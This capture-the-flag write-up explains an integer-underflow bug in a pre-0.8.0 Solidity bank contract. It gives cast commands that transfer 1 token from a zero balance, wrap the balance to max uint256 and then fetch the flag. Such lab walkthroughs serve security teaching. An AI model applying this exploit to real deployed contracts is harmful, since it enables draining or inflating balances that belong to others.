Smart_Overflow

Published: March 20, 2026

Description

Welcome! The contract tracks balances using uint256 math. It should be impossible to get the flag... Contract: here

Download and read IntOverflowBank.sol.

Note the Solidity version -- versions before 0.8.0 do not check for arithmetic overflow.

cat IntOverflowBank.sol

Solution

  1. Step 1Identify the integer underflow
    The contract is compiled with Solidity < 0.8.0, which lacks built-in overflow/underflow protection. The transfer function contains `require(balances[msg.sender] - _amount >= 0)`. This check is always true for uint256 -- unsigned integers can never be negative, so `0 - 1` silently underflows to 2^256-1 (max uint256). The subtraction wraps before the comparison is evaluated.
    cat IntOverflowBank.sol
  2. Step 2Trigger the underflow with a transfer of 1 from a zero balance
    Call the transfer function with an amount of 1 when your balance is 0. The uint256 underflows to the maximum value (2^256-1), giving you an astronomically large balance and triggering the win condition.
    # Check your initial balance (should be 0):
    cast call $CONTRACT "balances(address)" $YOUR_ADDR --rpc-url $RPC_URL
    # Trigger the underflow:
    cast send $CONTRACT "transfer(address,uint256)" 0x0000000000000000000000000000000000000001 1 \ --private-key $PRIVATE_KEY --rpc-url $RPC_URL
    # Verify your balance is now enormous:
    cast call $CONTRACT "balances(address)" $YOUR_ADDR --rpc-url $RPC_URL
  3. Step 3Claim the flag
    With your balance now at max uint256, the contract's win condition is met. Call the flag retrieval function.
    cast call $CONTRACT "isSolved()(bool)" --rpc-url $RPC_URL
    cast call $CONTRACT "getFlag()(string)" --rpc-url $RPC_URL

Flag

picoCTF{sm4rt_0v3rfl0w_...}

Solidity < 0.8.0 silent underflow: `require(balances[sender] - amount >= 0)` is always true for uint256. Transferring 1 token from a zero balance wraps the balance to 2^256-1, instantly satisfying the win condition.